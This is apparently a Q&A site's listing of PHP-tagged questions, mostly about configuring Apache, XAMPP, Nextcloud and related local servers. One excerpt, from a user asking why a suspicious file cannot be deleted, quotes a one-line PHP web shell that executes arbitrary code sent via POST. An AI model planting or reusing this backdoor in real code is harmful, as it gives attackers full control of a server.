Questions tagged [php]
PHP is a widely-used general-purpose scripting language that is especially suited for Web development. Questions about programming in PHP are off-topic and should be asked on Stack Overflow.
2,005 questions
-1
votes
0
answers
47
views
Why does Apache absolutely refuse to set an XML type or PHP handler?
I'm running Apache 2.4 locally on Widows 10 x64. I know my .htaccess file works because I can break the rewrites, undo it, reload the page and everything works fine again.
PHP files execute PHP code ...
1
vote
1
answer
40
views
Should server files containing private data be outside `public_html` directory in CloudWays?
Working on a project I am connecting API's etc to an app. I want to upload the API tokens etc outside the public_html file for maximum security, or so I've been told.
However, whenever I try to upload ...
1
vote
0
answers
54
views
WebStorm not highlighting matching braces when using a ternary inside an array in PHP
I'm running into a strange issue with Webstorm, the Jetbrains JavaScript IDE, where it fails to highlight matching braces when I add a line of valid PHP that does not change the structure of the block....
1
vote
1
answer
128
views
Infinite redirect when navigating to nonexistent subfolder of localhost on Xampp/Apache server
I'm encountering a bizarre issue with a site I'm building on my XAMPP-hosted webserver. Under certain circumstances (explained below), I encounter an infinite redirect and cannot figure out what on ...
0
votes
0
answers
107
views
How to safely upgrade XAMPP on Windows and enable HTTPS for local Moodle development?
I’m setting up Moodle LMS locally on a Windows machine using XAMPP. Moodle requires HTTPS to proceed with installation, but my current XAMPP version doesn’t support HTTPS properly and uses MariaDB 10....
35
votes
2
answers
5k
views
Why can’t I delete a suspicious PHP file even with root?
On my server running CWP, I recently found a file located in /usr/local/cwpsrv/htdocs/admin/admin called error.php that just has the contents <?php @eval($_POST['shell']);?> (very concerning).
...
1
vote
2
answers
221
views
Why can't I run PHP via Apache on macOS? (Installed using Homebrew)
I have reinstalled whole brew, installed SSL, PHP, httpd but PHP ins't interpretted.
php -v returns:
PHP 8.4.7 (cli) (built: May 6 2025 12:31:58) (NTS)
Copyright (c) The PHP Group
Built by Homebrew
...
0
votes
1
answer
85
views
How to dynamically set the PHP version used by my terminal by extracting it from composer.json using Windows CMD file?
I run a file called doskeys.cmd every time Windows Terminal opens to set amongst other things, command aliases.
Should composer.json exist, I want to extract the PHP version from it so I can ...
0
votes
0
answers
118
views
It seems that the mirrored network mode of WSL2 is not compatible with ddev?
I want to use ddev projects in WSL2's mirrored network mode, but when I run it, WSL2 cannot curl this container.
My project was created using the following code:
ddev poweroff
mkdir ~/tmp/testddev
cd ...
0
votes
0
answers
51
views
Xampp cannot load PHP file when connected to internet
When using XAMPP while connected to the internet, I encounter unreliable loading of .php files. While .html files work flawlessly. Sometimes pages load instantly without issues, while other times it ...
1
vote
1
answer
140
views
How to change Docker container's PHP_MEMORY_LIMIT env variable in dockerized Nextcloud on ASUSTOR NAS
I have ASUSTOR NAS AS6302T with Nextcloud 30 installed from the App Central. I'm trying to set up cron to run background jobs. However when I try to run the cron.php script manually in the Docker ...
2
votes
0
answers
430
views
Nextcloud large files upload issue
I have a bare metal Nextcloud server hosted on a Debian 12 machine with a MariaDB database. When I try uploading larger files above 100M, the "estimated upload time" in the browser shows &...
1
vote
1
answer
273
views
Why is php artisan so slow with WAMP/Windows11?
I'm using wamp on windows11 and noticed that not just the pageloads, but the CLI commands are way too slow. It seems, that something is adding a ~30s (like a timeout, not constant) to everything, but ...
0
votes
1
answer
50
views
I am setting up two services using PHP-FPM and NGINX, and whenever one accesses the other, the NGINX page always appears
I created a container with PHP-FPM to act as the backend and admin for another PHP container. The second container will serve as the "frontend," fetching information from the first container....
0
votes
1
answer
99
views
Writing a socket server for an API that uses a persistent connection
I'm asked to create an app to manage a device that's usually behind a NAT or firewall, so unreachable from the outside.
Fortunately, the device's creators thought of that, so they created an API that ...